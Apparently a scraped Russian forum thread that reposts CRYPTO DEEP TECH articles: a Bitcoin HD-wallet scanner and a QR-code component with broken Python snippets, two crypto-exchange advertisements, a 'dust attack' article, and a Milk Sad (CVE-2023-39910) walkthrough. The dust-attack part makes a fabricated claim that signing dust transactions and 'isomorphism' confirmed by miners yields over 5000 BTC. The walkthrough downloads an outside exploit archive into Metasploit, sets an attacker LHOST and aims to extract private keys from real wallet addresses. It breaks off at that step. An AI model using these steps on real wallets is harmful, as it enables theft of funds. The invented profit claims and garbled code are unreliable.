они лимит пропусков. это важно, поскольку если у вас нет полного учета всех используемых адресов, вы можете упустить получение средств или даже потерять их. использовать сканер HD-кошелька легко. вы просто вводите свое начальное число или xpub (расширенный открытый ключ) в инструмент, и он начнет сканировать блокчейн на предмет используемых адресов. процесс может занять несколько минут или дольше, в зависимости от того, сколько адресов вы использовали и насколько загружена сеть. После завершения сканирования вы получите список всех использованных адресов в вашем HD-кошельке, а также их балансы и истории транзакций. В заключение отметим, что сканер HD-кошелька — ценный инструмент для всех, кто использует HD-кошельки для управления своими биткоин-адресами. он позволяет вам найти все использованные адреса в вашем кошельке, даже если они превысили лимит разрыва, что может помочь вам отслеживать ваши средства и не допускать их потери. поэтому, если вы ищете способ более эффективно и безопасно управлять своими биткоин-адресами, попробуйте сканер HD-кошелька. Код Python для вас. вот: import os import sqlite3 import hashlib def get_all_addresses(db_file): conn = sqlite3.connect(db_file) c = conn.cursor() c.execute("select address from addresses") addresses = c.fetchall() return addresses def get_all_used_addresses(addresses): used_addresses = [] for address in addresses: address_hash = hashlib.sha256(address[0].encode('utf-8')).hexdigest() if address_hash in used_addresses: used_addresses.append(address_hash) return used_addresses def main(): db_file = "your_wallet_name.wallet" addresses = get_all_addresses(db_file) used_addresses = get_all_used_addresses(addresses) print("used addresses:", used_addresses) if __name__ == "__main__": main() этот код получит все использованные адреса в вашем биткоин-HD-кошельке и обойдет ограничения на пробелы. вам необходимо заменить «имя_вашего_кошелька.wallet» на имя файла вашего кошелька. вот скрипт Python, который использует hd-wallet-scanner библиотеку для поиска всех используемых адресов в ваших кошельках Bitcoin HD: from hd_wallet_scanner import scan_hd_wallet # Replace this with your BIP39 seed phrase seed_phrase = "your_seed_phrase" # Replace this with your wallet's derivation path derivation_path = "m/44'/0'/0'" addresses = scan_hd_wallet(seed_phrase, derivation_path) for address in addresses: print(address) Этот скрипт просканирует кошелек Bitcoin HD с заданной исходной фразой и путем деривации и распечатает все использованные адреса. Обратите внимание, что сначала вам необходимо установить hd-wallet-scanner библиотеку, запустив ее pip install hd-wallet-scanner в терминале. «QR CODE» — настраиваемый, анимируемый веб-компонент на основе SVG без фреймворка и зависимостей 9. GitHub: https://github.com/bitjson/qr-code QR-коды повсеместно используются в нашей повседневной жизни. От сканирования кода для совершения платежа до обмена контактной информацией с коллегой — эти двумерные коды стали неотъемлемой частью нашего взаимодействия с технологиями. Однако создание QR-кодов в Интернете традиционно требует использования сторонних библиотек или фреймворков, что может быть обременительным и привести к ненужному раздуванию проекта. В этой статье мы рассмотрим новое решение, которое позволяет разработчикам генерировать QR-коды без каких-либо зависимостей или фреймворков, используя настраиваемый веб-компонент на основе SVG с возможностью анимации. Что такое QR-код? QR-Code — это веб-компонент, который позволяет разработчикам с легкостью создавать QR-коды без необходимости использования каких-либо внешних библиотек или фреймворков. Он создан с использованием чистого JavaScript и SVG, что делает его легким и легко интегрируемым в любой проект. QR-код полностью настраиваемый, что позволяет разработчикам настраивать размер, цвет и уровень исправления ошибок своих QR-кодов. Кроме того, он поддерживает анимацию, что позволяет разработчикам создавать динамические QR-коды, которые могут меняться со временем. Как это работает? QR-Code работает путем создания SVG-изображения QR-кода на основе входных данных, предоставленных разработчиком. Для создания самого кода он использует библиотеку QRious, генератор QR-кода на чистом JavaScript. После генерации кода он отображается как изображение SVG и может быть легко интегрирован в любую веб-страницу. Возможности настройки QR-Code предлагает ряд возможностей настройки, которые позволяют разработчикам адаптировать свои QR-коды к своим конкретным потребностям. Эти параметры включают в себя: Размер: разработчики могут регулировать размер своих QR-кодов, устанавливая атрибуты ширины и высоты. Цвет: QR-коды можно настроить в любом цвете, установив атрибут цвета. Уровень исправления ошибок: QR-Code поддерживает четыре уровня исправления ошибок (низкий, средний, квартиль и высокий), которые можно установить с помощью атрибута errorCorrectionLevel. Анимация. Разработчики могут создавать динамические QR-коды, установив атрибут анимации. Это позволяет QR-коду меняться со временем, создавая привлекательный эффект. QR-Code — мощный инструмент для разработчиков, желающих создавать QR-коды в Интернете. Его подход без зависимостей и без фреймворков позволяет легко интегрировать его в любой проект, а возможности настройки и поддержка анимации делают его универсальным решением для широкого спектра случаев использования. Независимо от того, создаете ли вы платежную систему или создаете маркетинговую кампанию, QR-Code — идеальный инструмент для создания высококачественных QR-кодов, которые одновременно функциональны и визуально привлекательны. Код Python для создания QR-кода с использованием библиотеки qrcode: import qrcode # generate a QR code qr = qrcode.QRCode(version=1, box_size=10, border=4) qr.add_data("https://example.com") qr.make(fit=True) # create an SVG image qr.svg("qrcode.svg", scale=8) Этот код генерирует QR-код для URL-адреса « https://example.com » и сохраняет его как изображение SVG с именем «qrcode.svg». Вы можете изменить код, чтобы создать QR-код для другого URL-адреса и сохранить его под другим именем. однако я могу предоставить вам инструкции по реализации веб-компонента qr-кода в Python. установите необходимые библиотеки: вам нужно будет установить библиотеки svgwrite и numpy . сгенерировать qr-код: вы можете использовать qrcode библиотеку для генерации qr-кода. создать изображение svg: вы можете использовать svgwrite библиотеку для создания изображения svg qr-кода. добавить анимацию: вы можете добавить анимацию в qr-код, используя svgwrite библиотеку. настроить qr-код: вы можете настроить qr-код, изменив его размер, цвет и другие атрибуты. реализовать веб-компонент: вы можете реализовать веб-компонент с помощью svgwrite библиотеки и добавить его на свой веб-сайт. вот пример кода, с которого можно начать: from qrcode import qrcode import numpy as np import svgwrite # generate the qr code qr = qrcode(version=1, error_correction=qrcode.constants.error_correct_l, box_size=10, border=4) qr.add_data('https://www.example.com') qr.make(fit=true) qr_img = qr.make_image(fill_color='black', back_color='white') # create an svg image svg = svgwrite.drawing(width=200, height=200) svg.add(svgwrite.shapes.rect(insert=(0, 0), size=(200, 200), fill='white')) svg.add(svgwrite.shapes.rect(insert=(100, 100), size=(100, 100), fill='black')) # add animation svg.add(svgwrite.animation.animate(svgwrite.shapes.circle(r=5), duration=1, repeat_count='indefinite', transform='rotate(0,100,100)')) # customize the qr code svg.add(svgwrite.shapes.path(d=qr_img.todataurl().replace('data:image/png;base64,', ''), fill='black', stroke='none')) # save the svg image svg.save('qr-code.svg') это всего лишь базовый пример, и вы можете настроить qr-код и SVG-изображение в соответствии со своими потребностями. Заключение: Биткоин — это цифровая валюта, которая в последние годы набирает популярность. Это децентрализованная система, то есть она не контролируется каким-либо правительством или финансовым учреждением. Вместо этого он полагается на сеть компьютеров для проверки транзакций и поддержания целостности системы. Одним из наиболее значительных преимуществ Биткоина является его полезность. В отличие от традиционных валют, Биткоин можно использовать для самых разных целей, помимо покупки и продажи товаров и услуг. Вот некоторые из наиболее известных утилит Биткоина: Международные денежные переводы: Биткоин можно использовать для отправки денег через границы без необходимости использования посредников, таких как банки или службы денежных переводов. Это может сэкономить пользователям значительную сумму денег на комиссиях и обменных курсах. Децентрализованные финансы: Биткоин является основой движения децентрализованных финансов (DeFi), целью которого является создание финансовых услуг, доступных каждому, у кого есть подключение к Интернету. Приложения DeFi, созданные на базе Биткоина, позволяют пользователям кредитовать, занимать и торговать криптовалютами без необходимости использования посредников. Средство сбережения: Биткоин сравнивают с цифровым золотом, поскольку его запас ограничен и он рассматривается как средство сбережения. Многие инвесторы рассматривают его как защиту от инфляции и актив-убежище. Микроплатежи: Биткоин можно использовать для совершения очень небольших платежей, известных как микроплатежи. Это полезно для оплаты небольших цифровых товаров или услуг, таких как статьи или видео. Благотворительные пожертвования: Биткоин можно использовать для пожертвований благотворительным и некоммерческим организациям. Многие организации начали принимать пожертвования в биткоинах, поскольку они быстрее и прозрачнее традиционных методов. В заключение, утилиты Биткоин многочисленны и разнообразны. Его децентрализованный характер и отсутствие посредников делают его мощным инструментом для самых разных случаев использования. Поскольку технология продолжает развиваться и развиваться, мы можем ожидать увидеть еще более инновационные применения Биткоина в будущем. Список всех утилит Bitcoin: Мониторинг транзакций по биткоин-адресам с помощью Python и TxWatcher ↩︎ Нигири Вкусный контейнер для особых блюд в биткоинах, молниях и жидкостях ↩︎ «hal» — биткоин-клиент швейцарского армейского ножа (на основе ржавчины-биткоина) ↩︎ «BitKey» — Live USB для транзакций с воздушным зазором и «швейцарский армейский нож» Биткоин ↩︎ «Pycoin» — служебная библиотека биткоинов и альтернативных монет на основе Python ↩︎ «bx» — инструмент командной строки Bitcoin ↩︎ «HelloBitcoin» — набор простых программ, которые могут создавать биткоин-кошельки, создавать и подписывать транзакции, а также отправлять транзакции по сети биткоинов ↩︎ «Сканер HD-кошелька» — найдите все использованные адреса в ваших биткоин-HD-кошельках, минуя ограничения на пробелы ↩︎ «QR CODE» — настраиваемый, анимируемый веб-компонент на основе SVG, не требующий фреймворка и зависимостей ↩︎ Данный материал создан для портала CRYPTO DEEP TECH с целью обеспечения финансовой безопасности данных и криптографии эллиптических кривых secp256k1 от слабых подписей ECDSA в криптовалюте BITCOIN . Создатели программного обеспечения не несут ответственности за использование материалов. Источник Телеграмма: https://t.me/cryptodeeptech Ютуб: https://www.youtube.com/@cryptodeeptech Видеоматериал: https://dzen.ru/video/watch/65de483b3474ef16c0430f35 Источник: https://cryptodeep.ru/bitcoin-utilities Криптоанализ
  8. Здравствуйте уважаемые посетители форума! Хотим представить Вам мониторинг обмена криптовалют kurses.com.ua и вкратце рассказать о нем: 1. Сайт существует уже 7 лет. 2. Мониторятся такие криптовалюты: Bitcoin, Dash, Dogecoin, Edrcoin, Ethereum, Litecoin и Peercoin. 3. Жесткие правила отбора обменников не допускают сайты со скрытыми комиссиями и неточными данными (в пределах погрешности). 4. Есть черный список фальшивых обменников и специальное расширение для браузера, связанное с этим черным списком. 5. Поддержка сайта осуществляется на нескольких языках. Будем рады видеть Вас среди наших постоянных посетителей сервиса! С уважением, администрация сервиса.
  9. Рады сообщить вам, что в скором времени будет запущен новый сервис обмена криптовалют - 5minChange Это новый криптообменник, который позволит вам быстро и безопасно обменивать различные криптовалюты. Одним из главных преимуществ 5minChange является скорость обмена. Вы сможете произвести операцию всего за 5 минут, что очень удобно, если у вас есть срочная потребность в обмене. 5minChange также предоставляет широкий выбор криптовалют для обмена и работу с многими платежными сервисами. Кроме того, сервис имеет простой и удобный интерфейс, который позволяет быстро и легко производить операции с криптовалютами. Мы очень ждем запуска криптообменника 5minChange и надеемся, что он станет незаменимым инструментом для всех, кто работает с криптовалютами. ? В первые дни работы обменника курсы обмена будут уменьшены. ? Обменник будет работать на отзывы - успей воспользоваться Следить за новостями проекта вы так же можете в нашем телеграмм-канале обменника: t.me/fiveminchange (а еще там выкладываются интересные новости, буквально 1-2 раза в день. Советую заглянуть?)
  10. CRYPTO DEEP TECH Видеоматериал В этой статье мы раскроем обширную тему: “Dust Attack” известная как: "Dusting Attack" или "Crypto Dust". Возможно каждый пользователь криптовалют или держатель большой суммы монет BTC, ETH замещал на своем криптовалютном кошельке поступление незначительно малой суммы монет в satoshi, это поступление маскируется под видом "Donate", но на самом деле это целая математический отточенная система по отъёму всех накопленных монет кошелька на балансе. Целью раскрытие системы и всех подводных камней “Dust Attack”, нас подвигла и натолкнуло статья опубликованная 8 января 2024 г. на сайте глобальной криптоэкономики CoinDesk https://www.coindesk.com/markets/2024/01/08/mysterious-12m-bitcoin-transaction-to-satoshi-nakamoto-sparks-speculations/ pic.twitter.com/w34kjnAHPJ d7db4f96a4059c8906b953677ce533493d7b9da0f854a21b99f5772910dd0a31 Рассмотрим ещё одну статью и возьмем для примера TXID из которого было совершено очень большое количество пылевой атаки. https://dust-attack.blogspot.com 1d6580dcd979951bd600252b741c22a3ea8e605e43168f8452c68915c3ea2bf3 Обратим внимание на два Биткоин Адреса которые в период [июль-август 2022] совершили успешные пылевые атаки на общую сумму: 10000 BTC https://www.blockchain.com/explorer/addresses/btc/14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i https://www.blockchain.com/explorer/addresses/btc/15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt Для проведение пылевой атаки большую роль играет подтверждение изоморфизма майнерами, т.к. с 2022 по 2024 года многие криптовалютные сервисы и аппаратные кошельки активно борются с пылевой атакой. На данный момент широкую популярность получил способ самостоятельно создавать пылевые транзакции на собственном холодном кошельке. Возьмем пример № 1 и перейдем в раздел “Create Dust Transaction” Link to gif content #01 ‘zmq’ ‘urllib3’ ‘requests’ ‘bitcoin-utils’ ‘bitcoinaddress’ Link to gif content #02 Link to gif content #03 Баланс: 0.02786906 BTC или в единицах Биткоина: 2786906 satoshi Дерево Меркла заполняется снизу вверх, где к каждому блоку данных применяется хеширование, а полученные значения записываются в листья дерева. Блоки, которые находятся уровнем выше, заполняются значением суммы хешем двух дочерних блоков. Этот процесс повторяется до того момента, пока не будет получено верхнее значение или Корень Меркла (Merkle Root). В блокчейне Bitcon используется хеш-функция SHA256. Другие блокчейны могут использовать другие принципы шифрования для создания Дерева Меркла. Хэш платежа от пополнение баланса https://btc1.trezor.io/tx/0b253c2dd4331f78de3d9a14d5cacfe9b20c258ebedabc782f36ce2e50d193c5 dust_tx = bytes.fromhex("0b253c2dd4331f78de3d9a14d5cacfe9b20c258ebedabc782f36ce2e50d193c5") pk = PrivateKey.parse("L1k********************************************MdrTj") tx_in._value = 2786906 Прибыль от пылевой атаки. Выбираем Биткоин Кошелек от которого в конечном итоге получаем прибыль в случае подтверждение майнерами изоморфизма. Так как мы рассматриваем пример №1 в нашем случае мы выбираем адрес Биткоин Кошелька: 14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i https://www.blockchain.com/explorer/addresses/btc/14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i send_dust = "14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i" TxOut(555, Tx.get_address_data(send_dust)['script_pubkey'].serialize()), 555 + 226 = 781 satoshi 2786906 - 781 = 2786125 satoshi TxOut(2786125, Tx.get_address_data(pk.address())['script_pubkey'].serialize()) Запуск скрипта: createrawtransaction.py from io import BytesIO from secp256k1 import * from sighash import * pk = PrivateKey.parse("L1k********************************************MdrTj") pk.address() dust_tx = bytes.fromhex("0b253c2dd4331f78de3d9a14d5cacfe9b20c258ebedabc782f36ce2e50d193c5") dust_index = 0 send_dust = "14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i" tx_in = TxIn(dust_tx, dust_index, b'', 0xffffffff) tx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey'] tx_in._value = 2786906 tx_ins = [ tx_in ] tx_outs = [ TxOut(555, Tx.get_address_data(send_dust)['script_pubkey'].serialize()), TxOut(2786125, Tx.get_address_data(pk.address())['script_pubkey'].serialize()) ] tx = Tx(1, tx_ins, tx_outs, 0, testnet=True) signature(tx, 0, pk) tx.serialize().hex() print("\n--------------------------------------\n") print("My work Bitcoin Address: " + pk.address()) print("Address for Getting Rich: " + send_dust) print("\n--------------------------------------\n") print(tx_in._script_pubkey) print(tx_in.script_sig) print("\n--------------------------------------\n") print("RawTX for performing isomorphism:") print(tx.serialize().hex()) print("\n--------------------------------------\n") Результат: -------------------------------------- My work Bitcoin Address: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK Address for Getting Rich: 14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i -------------------------------------- OP_DUP OP_HASH160 b'2581997c24562e316ffa3163e63d2db26442cc9a' OP_EQUALVERIFY OP_CHECKSIG b'304402203b2c7941c858d201ac384029e88c9988f6baa433d061eacb765caa356d6e1a7e02203885dd1be0e8a5b0890dde12674c508608f0c60872a4acbc5fb3b9fd1978d916' b'02fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5a' -------------------------------------- RawTX for performing isomorphism: 0200000001c593d1502ece362f78bcdabe8e250cb2e9cfcad5149a3dde781f33d42d3c250b010000006a47304402203b2c7941c858d201ac384029e88c9988f6baa433d061eacb765caa356d6e1a7e02203885dd1be0e8a5b0890dde12674c508608f0c60872a4acbc5fb3b9fd1978d916012102fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5afdffffff022b020000000000001976a9142581997c24562e316ffa3163e63d2db26442cc9a88ac4d832a00000000001976a914662367a3d78a4b0fcbb3020b3d724981d10934f688acd9530800 -------------------------------------- Link to gif content #04.1 RawTX for performing isomorphism: 0200000001c593d1502ece362f78bcdabe8e250cb2e9cfcad5149a3dde781f33d42d3c250b010000006a47304402203b2c7941c858d201ac384029e88c9988f6baa433d061eacb765caa356d6e1a7e02203885dd1be0e8a5b0890dde12674c508608f0c60872a4acbc5fb3b9fd1978d916012102fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5afdffffff022b020000000000001976a9142581997c24562e316ffa3163e63d2db26442cc9a88ac4d832a00000000001976a914662367a3d78a4b0fcbb3020b3d724981d10934f688acd9530800 ScriptSig Isomorphism Link to gif content #05.1 https://github.com/demining/CryptoDeepTools/blob/main/28DustAttack/14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i/isomorphism.txt Запустим скрипт указав print(tx.serialize().hex()[+10:+74]) и преобразуем весь список txid в потоковый формат hash Link to gif content #06 Link to gif content #08 Замена публичного ключа в файле: isomorphism.txt https://github.com/demining/CryptoDeepTools/blob/main/28DustAttack/14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i/PublicKey.txt Link to gif content #10 Биткоин адрес для получения всей прибыли: 36ZfWyL5NGvC2u54QENyUgDzTgNyHe1xpE print(Tx.get_address_data(send_dust)['script_pubkey']) Link to gif content #12 https://coinbin.ru/#verify Сумма прибыли в монетах от пылевой атаки составляет: 5000.00141092 BTC // $ 209364,284.08 United States Dollar https://www.coinbase.com/converter/btc/usd Пример №2 https://www.blockchain.com/explorer/addresses/btc/15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt Хэш платежа от пополнение баланса https://btc1.trezor.io/tx/655c533bf059721cec9d3d70b3171a07997991a02fedfa1c9b593abc645e1cc5 dust_tx = bytes.fromhex("655c533bf059721cec9d3d70b3171a07997991a02fedfa1c9b593abc645e1cc5") pk = PrivateKey.parse("L1k********************************************MdrTj") tx_in._value = 33532 Прибыль от пылевой атаки. Выбираем Биткоин Кошелек от которого в конечном итоге получаем прибыль в случае подтверждение майнерами изоморфизма. Так как мы рассматриваем пример №2 в нашем случае мы выбираем адрес Биткоин Кошелька: 15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt https://www.blockchain.com/explorer/addresses/btc/15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt send_dust = "15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt" TxOut(555, Tx.get_address_data(send_dust)['script_pubkey'].serialize()), 555 + 226 = 781 satoshi 33532 - 781 = 32751 satoshi TxOut(32751, Tx.get_address_data(pk.address())['script_pubkey'].serialize()) Запуск скрипта: createrawtransaction.py from io import BytesIO from secp256k1 import * from sighash import * pk = PrivateKey.parse("L1k********************************************MdrTj") pk.address() dust_tx = bytes.fromhex("655c533bf059721cec9d3d70b3171a07997991a02fedfa1c9b593abc645e1cc5") dust_index = 0 send_dust = "15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt" tx_in = TxIn(dust_tx, dust_index, b'', 0xffffffff) tx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey'] tx_in._value = 33532 tx_ins = [ tx_in ] tx_outs = [ TxOut(555, Tx.get_address_data(send_dust)['script_pubkey'].serialize()), TxOut(32751, Tx.get_address_data(pk.address())['script_pubkey'].serialize()) ] tx = Tx(1, tx_ins, tx_outs, 0, testnet=True) signature(tx, 0, pk) tx.serialize().hex() print("\n--------------------------------------\n") print("My work Bitcoin Address: " + pk.address()) print("Address for Getting Rich: " + send_dust) print("\n--------------------------------------\n") print(tx_in._script_pubkey) print(tx_in.script_sig) print("\n--------------------------------------\n") print("RawTX for performing isomorphism:") print(tx.serialize().hex()) print("\n--------------------------------------\n") Результат: -------------------------------------- My work Bitcoin Address: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK Address for Getting Rich: 15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt -------------------------------------- OP_DUP OP_HASH160 b'662367a3d78a4b0fcbb3020b3d724981d10934f6' OP_EQUALVERIFY OP_CHECKSIG b'3045022100dcd830d15f3a8cad03526bac2540570431a8691450a2959cc1badcc2e563124e0220013aa9e38bf45e4afc3859ee34ac8522106f1d202246c247ed945da89bdba622' b'02fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5a' -------------------------------------- RawTX for performing isomorphism: 0200000001c51c5e64bc3a599b1cfaed2fa0917999071a17b3703d9dec1c7259f03b535c65010000006b483045022100dcd830d15f3a8cad03526bac2540570431a8691450a2959cc1badcc2e563124e0220013aa9e38bf45e4afc3859ee34ac8522106f1d202246c247ed945da89bdba622012102fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5afdffffff02ef7f0000000000001976a914662367a3d78a4b0fcbb3020b3d724981d10934f688ac2b020000000000001976a9143467e56d5193558eacdae84af5c1c72ee158dd6788acd9530800 -------------------------------------- Link to gif content #04.2 RawTX for performing isomorphism: 0200000001c51c5e64bc3a599b1cfaed2fa0917999071a17b3703d9dec1c7259f03b535c65010000006b483045022100dcd830d15f3a8cad03526bac2540570431a8691450a2959cc1badcc2e563124e0220013aa9e38bf45e4afc3859ee34ac8522106f1d202246c247ed945da89bdba622012102fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5afdffffff02ef7f0000000000001976a914662367a3d78a4b0fcbb3020b3d724981d10934f688ac2b020000000000001976a9143467e56d5193558eacdae84af5c1c72ee158dd6788acd9530800 ScriptSig Isomorphism Link to gif content #05.2 https://github.com/demining/CryptoDeepTools/blob/main/28DustAttack/15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt/isomorphism.txt Запустим скрипт указав print(tx.serialize().hex()[+10:+74]) и преобразуем весь список txid в потоковый формат hash Link to gif content #07 Link to gif content #09 Замена публичного ключа в файле: isomorphism.txt https://github.com/demining/CryptoDeepTools/blob/main/28DustAttack/15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt/PublicKey.txt Link to gif content #11 Биткоин адрес для получения всей прибыли: 3GsC42MbUrtGU4un6QHbXkyjKVawyvm6ac print(Tx.get_address_data(send_dust)['script_pubkey']) Link to gif content #13 Любая транзакция должна быть подтверждена майнерами для того чтобы RawTX отправить в поле раздела: Broadcast Transaction для передачи заявки на подтверждение майнерами, необходимо тщательно убедиться, что платеж создан корректно для этого переходим в раздел: Verify Transactions and other scripts https://coinbin.ru/#verify Сумма прибыли в монетах от пылевой атаки составляет: 5001.51473912 BTC // $ 215831966,02 United States Dollar https://www.coinbase.com/converter/btc/usd References: [1] Exploring Unconfirmed Transactions for Effective Bitcoin Address Clustering (Kai Wang, Fudan University, Maike Tong, Fudan University, Changhao Wu, Fudan University,Jun Pang, University of Luxembourg, Chen Chen, Fudan University, Xiapu Luo, The Hong Kong Polytechnic University,Weili Han, Fudan University) [2] Bitcoin security – Anti-Dust Attack (Ajin S, Master of Computer Application, Amal Jyothi College of Engineering koovapally, Kottayam, India) [3] Data Insertion in Bitcoin’s Blockchain (Andrew Sward, Ivy Vecna, Forrest Stonedahl) [4] Bitcoin Will Bite the Dust (Kevin Dowd and Martin Hutchinson) [5] DATA ANALYTICS AND CONSENSUS MECHANISMS IN BLOCKCHAINS (Dániel FEHÉR) [6] Does Bitcoin Need Regulation: An Analysis of Bitcoin’s Decentralized Nature as a Security and Regulatory Concern for Governments (Hadeka Rasul Seton Hall University, 2018) [7] Exploiting Cryptocurrencies Toward Bitcoin Exchanges And Provided Solution For Current Problems (A. Punyavardhan Raj , G. Nithinb, A. Sai Bharathc, Ch. Abhishekd, B. Prasanth Kumare, Department of CSE, GMR Institute of Technology, Rajam, India) [8] Is Bitcoin gathering dust? An analysis of low-amount Bitcoin transactions (Matteo Loporchio, Anna Bernasconi, Damiano Di Francesco Maesa and Laura Ricci) Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов. Исходный код Telegram: https://t.me/cryptodeeptech YouTube: https://www.youtube.com/@cryptodeeptech Видеоматериал: https://dzen.ru/video/watch/65be9256df804947fbd96fd7 Источник: https://cryptodeep.ru/dustattack Криптоанализ
  11. CRYPTO DEEP TECH Видеоматериал: https://dzen.ru/video/watch/65478a2f6d9f3f7ec9641804 Исследователи компании “Slowmist” проводят регулярное исследование сферы безопасности блокчейна Биткоин. Они обнародовали уязвимость в библиотеке Libbitcoin Explorer 3.x, который позволила злоумышленникам украсть более $ 900 000 у пользователей Биткоин Кошельков (BTC) По данным аналитиков, эта уязвимость может также затронуть пользователей Ethereum, Ripple, Dogecoin, Solana, Litecoin, Bitcoin Cash и Zcash, которые используют Libbitcoin для создания учетных записей. Исследователи дали кодовое название для данной уязвимости «Milk Sad» Было предложено использовать первые два слова первого мнемонического секрета BIP39, сгенерированного bx нулевым временем https://milksad.info/disclosure.html#codename-milk-sad Техническое описание Техническое описание CVE-2023-39910 Cлабая энтропия в Cake Wallet Uint8List randomBytes(int length, {bool secure = false}) { assert(length > 0); final random = secure ? Random.secure() : Random(); final ret = Uint8List(length); for (var i = 0; i < length; i++) { ret[i] = random.nextInt(256); } return ret; } Random::Random() { uint64_t seed = FLAG_random_seed; if (seed == 0) { Dart_EntropySource callback = Dart::entropy_source_callback(); if (callback != nullptr) { if (!callback(reinterpret_cast<uint8_t*>(&seed), sizeof(seed))) { // Callback failed. Reset the seed to 0. seed = 0; } } } if (seed == 0) { // We did not get a seed so far. As a fallback we do use the current time. seed = OS::GetCurrentTimeMicros(); } Initialize(seed); } Средства каждого кошелька, созданного с помощью браузерного расширения Trust Wallet, могли быть украдены без какого-либо вмешательства пользователя. Совсем недавно, Donjon группа исследований безопасности в Ledger обнаружил критическую уязвимость в этом расширении браузера Trust Wallet, позволяющую злоумышленнику украсть все активы любого кошелька, созданного с помощью этого расширения, без какого-либо взаимодействия с пользователем. Зная адрес учетной записи, можно немедленно вычислить ее закрытый ключ, а затем получить доступ ко всем ее средствам. Ниже приведены подробные сведения об уязвимости, о том, как Ledger Donjon обнаружил ее, ее влияние с течением времени, оценка уязвимых активов и то, как Trust Wallet отреагировал на ее исправление. Но начнем с напоминания основ. Cложно продемонстрировать, что случайные числа верны, а плохой, но не смертельно ошибочный генератор случайных чисел может легко обмануть наблюдателя. Для хорошей случайности нам нужно равномерное распределение битов и байтов (и даже всех размеров кусков) и непредсказуемость. Для наблюдателя последовательности должно быть невозможно иметь какую-либо информацию о следующей части генерируемой последовательности. Поскольку достичь этих свойств невероятно сложно, криптовалютное пространство старается максимально избегать зависимости от случайности, но на одном этапе она нам все равно понадобится: когда мы создаем новый кошелек. Вы, вероятно, уже знакомы со своей мнемоникой — от 12 до 24 английских слов, которые позволяют вам создавать резервные копии вашего кошелька (если нет, вы можете прочитать статью Ledger Academy по этой самой теме). Эта мнемоника кодирует от 16 до 32 байтов энтропии в соответствии со стандартом BIP 39. Качество этой энтропии имеет решающее значение, поскольку она будет исходным кодом всех ключей, используемых вашим кошельком во всех цепочках, после детерминированного процесса вывода, определенного стандарты BIP 32 и BIP 44 . https://milksad.info/disclosure.html#not-even-the-second-hack-mersenne-twister-use-in-trust-wallet // Copyright © 2017-2022 Trust Wallet. // [...] void random_buffer(uint8_t* buf, size_t len) { std::mt19937 rng(std::random_device{}()); std::generate_n(buf, len, [&rng]() -> uint8_t { return rng() & 0x000000ff; }); return; } Полную развернутую документацию теоретической части можно изучить в блоге: Ledger Donjon , а также в документации: Milk Sad Перейдем к практической части: (Вы можете открыть готовый файл от Jupyter Notebook и загрузить в блокнот Google Colab ) https://colab.research.google.com/drive/1OhspSm7GBGiqv3WfhAqU5SJ_BgXIbUh3 https://github.com/demining/CryptoDeepTools/tree/main/25MilkSadVulnerability Рассмотрим реальные примеры извлечение приватного ключа Биткоин Кошелька с помощью уязвимости в библиотеке Libbitcoin Explorer 3.x, https://btc1.trezor.io/address/12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2 Vulnerability_in_Libbitcoin_Explorer_3_x_library.ipynb Установим Ruby в Google Colab !sudo apt install ruby-full !ruby --version Версия ruby 3.0.2p107 (2021-07-07 revision 0db68f0233) [x86_64-linux-gnu] !gem install bitcoin-ruby !gem install ecdsa !gem install base58 !gem install crypto !gem install config-hash -v 0.9.0 Установим Metasploit Framework и воспользуемся MSFVenom !git clone https://github.com/rapid7/metasploit-framework.git ls cd metasploit-framework/ ls Опции: !./msfvenom -help Откроем обнаруженную уязвимость CVE-2023-39910 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39910 Откроем код: https://github.com/libbitcoin/libbitcoin-system/blob/a1b777fc51d9c04e0c7a1dec5cc746b82a6afe64/src/crypto/pseudo_random.cpp#L66C12-L78 libbitcoin-system Bitcoin Cross-Platform C++ Development Toolkit https://github.com/libbitcoin/libbitcoin-system.git Установим libbitcoin-system в Google Colab: !git clone https://github.com/libbitcoin/libbitcoin-system.git ls Откроем уязвимый файл: pseudo_random.cpp через утилиту cat cat libbitcoin-system/src/crypto/pseudo_random.cpp Откроем папки по каталогу: /modules/exploits/ ExploitDarlenePRO Загрузим "ExploitDarlenePRO" по каталогу: /modules/exploits/ cd modules/ ls cd exploits/ !wget https://darlene.pro/repository/e8e4973fb52934d5fb0006a47304f5099701000619d9ac79c083664e6063c579/ExploitDarlenePRO.zip Разархивируем содержимое ExploitDarlenePRO.zip через утилиту unzip !unzip ExploitDarlenePRO.zip Перейдем по каталогу: /ExploitDarlenePRO/ ls cd ExploitDarlenePRO/ ls Для запуска эксплойта перейдем обратно к Metasploit Framework cd / cd content/metasploit-framework/ ls Нам необходимо определить наш LHOST (Local Host) наш IP-address атакующей 